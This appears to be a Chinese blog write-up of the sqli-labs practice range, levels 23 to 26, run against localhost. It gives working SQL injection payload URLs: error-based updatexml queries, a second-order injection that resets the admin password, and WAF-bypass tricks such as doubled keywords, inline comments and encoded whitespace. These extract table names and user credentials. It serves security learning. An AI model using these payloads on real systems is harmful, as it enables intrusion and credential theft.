sqli-labs靶场 23-26
参考crow: https://github.com/crow821/crowsec
Less-23
- 源码中对于
--+
#
进行了过滤处理, 所以这里我们只能使用and 或者or语句进行闭合,在这里可以使用另外一种特殊的注释符;%00
通过这个注释符可以判断列数 - 除了在url末尾将–+、#
--+
#
替换为;%00
其余的均和less01关相同。第二种报错注入
1
http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1 报错出数据库
1
http://127.0.0.1/sqli/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1 查询所有的数据库,使用limit进行逐个查询。
- 后续更换语句即可
二次注入
- 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
- 二次注入,可以概括为以下两步:
第一步:插入恶意数据: 进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据: 开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
Less-24
- 本关中由于对数据库长度做了限制,所以本次只演示替换密码:
- 首先我们查询目前的users表信息,找到admin的密码
- 我们用admin’# 注册一个账号,再登录
- 我们修改admin的密码
SQL语句:1
2
3UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass'
UPDATE users SET PASSWORD='123456' where username='admin'
sql注入WAF绕过
Waf绕过可大致分为三类:
白盒绕过
- 协议未覆盖绕过waf
比如由于业务需要,只对get型进行检测,post数据选择忽略 - 参数污染
index?id=1&id=2 waf可能只对id=1进行检测规则层面的绕过waf
sql注释符绕过
1
2
3
4union /**/select 我们将union select之间的空格使用注释符进行替换(适用于对union select之间的空格进行检测的情况)
union/*crow%0%32#*/select 我们在注释符中间填充内容
union/*aaaaaaaaaabbbbbbbbbcccccccccccdddddddddddeeeeeeeeeeee%%%%%%%%%*/select 构造较大数据
/*!union select*/内联注释 我们使用内联注释,mysql特有
- 以上均采用select 1;进行测试成功
空白符绕过
1 | mysql空白符:%09;%0A; %0B; %0D; %20; %0C; %A0; /*XXX*/ |
函数分割符号
1 | 将一个函数进行分割concat() |
浮点数词法解释
1 | waf对于id=1可以进行检测,但是对于id=1E0、id=1.0、id=\N可能就无法检测 |
利用error-based进行sql注入
1 | extractvalue(1, concat(0x5c,md5(3))); |
mysql 特殊语法
1 | select {x schema_name} from {x information_schema.schemata}; |
fuzz测试
可以使用burpsuite配合手工进行测试,后期测试成功后再用脚本进行处理。
大小写绕过
1
2
3
4
5
6
7
8如果对关键字and or union等进行了过滤,可以考虑使用大小写混合的方法
Or aNd UniOn
但是很多时候有函数会部分大小写进行过滤,这个时候我们可以考虑使用双写的方法
8. 关键字重复
OORr or
9. 关键字替换
如果还是无法绕过,可以考虑替换的方法
and == && or == || like可以替换 = <> 等价于 !=Less-25
网页里,作者给出了一个提示,发现or被过滤了,我们尝试双写
双写的情况下,我们开始测试
1
2
3
4
5
61. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,3--+ 获得回显位置
2. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,schema_name from information_schema.schemata --+ 根据提示我们可以到所有的or都被替换了,所以所有位置的or都需要写两次
3. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+ 取出所有的库
4. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+ 取出所有的表
5. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 取出所有的字段
6. http://127.0.0.1/sqli/Less-25/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 取出字段中的值当我们使用
or
=>||
的时候:
1 | 1. http://127.0.0.1/sqli/Less-25/?id=-1' || 1=1--+ 判断存在注入 |
Less-25a
1 | 1. http://127.0.0.1/sqli/Less-25a/?id=1 页面显示正常 |
空格url编码替换
- 绕开空格:
1
2
3
4
5
6%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
Less-26
- 当我们不考虑空格,使用报错注入的时候:
1
2
3
4
5
6
7
8
9
101. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, ( database() ) ),1) || '1'='1
使用这种方式可以得到我们的当前数据库
2. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479) ) ),1) || '1'='1
这样我们可以取得表信息。
3. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = 0x7573657273) ) ),1) || '1'='1
通过这个我们取得字段的值
4. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) ) ),1) || '1'='1
取出字段的值,但是取出的值很少,不完整。
5. http://127.0.0.1/Less-26/?id=1' || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2) ) ) ,1) || '1'='1
通过改变id的值可以遍历所有的数据。1
2
3
4
5以上的方法中,因为不能使用空格,所以采用报错注入的形式。我们如果使用字符进行替换呢?将空格替换为编码字符如何解决?
当我们使用%a0充当空格替换的时候:
http://127.0.0.1/Less-26/?id=1' %a0%a0%a0%a0 oorrder %a0by%a0;%00
这个时候我们直接将所有的空格进行替换即可,注释符可以使用;%00或者是使用 || '1'='1即可完成注入
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!